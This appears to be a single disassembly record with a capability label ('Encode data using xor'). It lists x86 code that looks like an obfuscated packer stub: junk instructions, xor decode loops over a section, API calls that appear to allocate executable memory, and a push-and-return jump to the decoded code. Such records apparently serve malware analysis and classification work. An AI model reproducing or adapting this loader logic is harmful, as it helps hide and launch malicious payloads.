Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x20b1554d
sub eax, 1
not eax
mov eax, ebx
popal
add ebx, ebx
inc eax
mov edi, 0
mov ecx, esi
inc ebx
or edx, ebx
mov eax, ecx
or ebx, ebx
sub ebx, 0xdcd50de1
mov esi, eax
sub edx, 0x4ae65055
or edx, ebx
inc edi
dec edx
dec edx
inc edx
cmp edi, 0x100c9e9
jne 0xa789c5
mov ebx, 0x3dafca57
dec ebx
not ebx
and ebx, eax
or eax, eax
mov esi, 0xa78796
and eax, ecx
mov eax, ecx
mov edx, 0xa7898a
or edi, ecx
dec edi
mov ebx, dword [esi]
mov ecx, eax
add eax, ecx
dec edi
and ebx, 0xff
and ecx, eax
sub eax, edi
or edi, edi
xor dword [edx], ebx
or edi, ecx
mov edi, 0x2318346c
sub edi, 0x7d34a823
add edx, 1
dec eax
mov eax, edi
inc esi
mov ecx, 0xe8196c8d
dec eax
cmp edx, entry0
jl 0xa78a0b
add ecx, edi
dec edi
or ecx, ecx
sub edi, 1
sub edi, 1
add ecx, eax
and edi, edi
mov edx, esi
add edi, 1
mov ebx, 0xa7898e
sub ecx, esi
add edx, 0x18288c02
mov ebx, dword [ebx]
add edx, 0x31a114d7
mov edi, edx
mov ebx, dword [ebx]
mov esi, 0x62f24108
add edi, 0xc9b394ff
sub ecx, 0xb1abd45
sub esp, 4
mov dword [esp], ebx
and edi, ecx
and edx, ecx
mov esi, 0x50490d0
mov ebx, 0xa7898a
mov ecx, edi
sub edx, edi
mov ebx, dword [ebx]
add edi, 0xa720ed4e
mov edx, 0x3c05a213
mov ebx, dword [ebx]
and edx, ecx
mov edx, 0x989ef573
push 0xa78992
mov esi, edx
add ecx, edx
not esi
call ebx
sub edx, 1
mov edx, ecx
pop ebx
mov edi, edx
sub edi, ecx
sub esp, 4
mov dword [esp], 0xa7899f
add edi, 0xb8ec0c2a
not ecx
push eax
mov edi, 0x104c882b
not edx
and ecx, esi
call ebx
add ecx, 0x5263266d
mov esi, 0x91a3058c
sub esp, 4
mov dword [esp], 0x40
sub edx, esi
not edi
sub edx, edi
sub esp, 4
mov dword [esp], 0x3000
sub edi, 0x47304590
add edx, 0xec56cf81
mov ecx, 0x6e70852e
push 0x20000844
not esi
inc edi
add esi, 0x2aad0698
push 0
sub edx, 0xf54dd860
or ecx, edi
add edi, edx
call eax
add edi, esi
add ecx, 0x23b6d3d4
add eax, 0x200007bb
not edx
sub edi, ecx
mov ebx, 0x32a0c211
mov ecx, 0x33af1741
mov edi, ecx
mov dword [eax], ebx
sub esi, ecx
or esi, ecx
mov ebx, dword [eax]
add edi, edx
not edx
add esi, 0x28814502
cmp ebx, 0x32a0c211
je 0xa78b8a
mov edx, 0
mov byte [edx], cl
sub ecx, edx
mov ecx, 0xf764cbc3
not esi
sub ecx, edi
or edx, edi
and ebx, ebx
mov ebx, eax
add eax, ebx
mov ecx, section..reltc
add eax, 0x50479b0e
or ebx, ebx
mov edi, 0xa78795
or eax, eax
and ebx, eax
mov edx, 0
mov eax, ebx
sub eax, 0x4d880ae8
mov esi, 0xa78796
not ebx
sub eax, 0xfc9cd311
not eax
lea esi, [esi + edx]
dec eax
mov ebx, eax
inc ebx
mov esi, dword [esi]
mov eax, 0x99f7332c
inc eax
and esi, 0xff
sub eax, ebx
sub ebx, eax
inc edx
not ebx
sub eax, 0x2656fa87
sub eax, 0xd3f749bb
cmp edx, 0x1f4
jne 0xa78c04
mov edx, 0
mov ebx, eax
dec eax
add ebx, 0x26086611
dec eax
xor dword [ecx], esi
mov eax, ebx
sub ebx, 0x49049120
add ecx, 2
add ebx, ebx
add eax, ebx
cmp ecx, edi
jl 0xa78bc0
dec eax
mov ebx, eax
add ebx, 1
add ebx, 0x10d0ab94
mov ebx, 0xc7d18963
mov eax, section..reltc
add ebx, 0x75971ede
and ebx, ebx
sub ebx, 0xf02bac9c
mov esi, section..reltc
sub ebx, 1
sub ecx, ebx
mov edi, 0xa78795
or ebx, ebx
sub ebx, ecx
sub ecx, 0x842f8167
mov edx, 0
sub ecx, ebx
or ecx, ecx
mov dl, byte [esi]
add ecx, 0xedcbb605
sub ecx, ebx
mov byte [eax], dl
inc ecx
mov ebx, 0xae355e46
add ecx, 0xaafb74fa
add eax, 1
sub ebx, ecx
or ebx, ecx
add esi, 2
not ebx
sub ebx, 0x7b43cfc1
cmp esi, edi
jle 0xa78c76
not ecx
or ebx, ecx
or ecx, ecx
or eax, ebx
or eax, eax
mov eax, ebx
sub esp, 4
mov dword [esp], 0x8dc6a0
mov ebx, eax
add eax, eax
sub eax, ebx
ret